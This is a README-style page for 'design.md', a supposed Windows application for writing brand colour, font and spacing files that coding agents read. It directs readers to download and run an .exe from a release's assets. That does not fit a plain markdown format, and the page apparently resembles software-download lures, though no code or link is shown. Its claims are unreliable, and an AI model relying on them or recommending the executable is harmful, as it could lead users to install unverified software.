🎨 design.md - Standardize your visual identity files

The design.md file acts as a map for your brand. It organizes colors, fonts, and spacing rules into one clear document. Coding agents read this file to understand your visual style. This ensures computers build your website exactly how you want it.

💾 Software Features

Design.md provides a bridge between human creativity and machine execution. Use this tool to maintain a consistent look across all digital projects.

• Centralizes brand guidelines in a machine-readable format.
• Eliminates guesswork for coding agents and automated design tools.
• Supports major color palettes and typography scales.
• Updates your design system in one single location.

⚙️ System Requirements

This software runs on most modern desktop environments. Ensure your system meets these basic requirements for a smooth experience.

• Windows 10 or Windows 11.
• 64-bit processor.
• At least 4GB of available memory.
• Stable internet connection for initial setup.

🚀 Download and Installation

Follow these steps to set up the software on your Windows computer.

1. Visit the official download page.
2. Locate the section labeled Assets.
3. Click the link ending in .exe to start your download.
4. Open the file once the download finishes.
5. Follow the prompts on your screen to complete the installation.

🛠️ How to Use Design.md

Once you install the program, you create your first design file. The application provides a simple editor for your identity rules.

1. Launch the application from your desktop or start menu.
2. Click the New Project button.
3. Enter your primary brand colors into the provided fields.
4. Add your font sizes for headers and body text.
5. Save the file as design.md in your project folder.

Coding agents now use this file to understand your intent. If you change a color in this file, the agents update your project files automatically.

📋 Troubleshooting

If you encounter issues, verify that your file name is exactly design.md. Case sensitivity matters in these systems. Ensure your file sits in the root folder of your project workspace. If the program fails to open, verify your Windows version supports the latest security protocols. Most users solve connection issues by restarting their network router.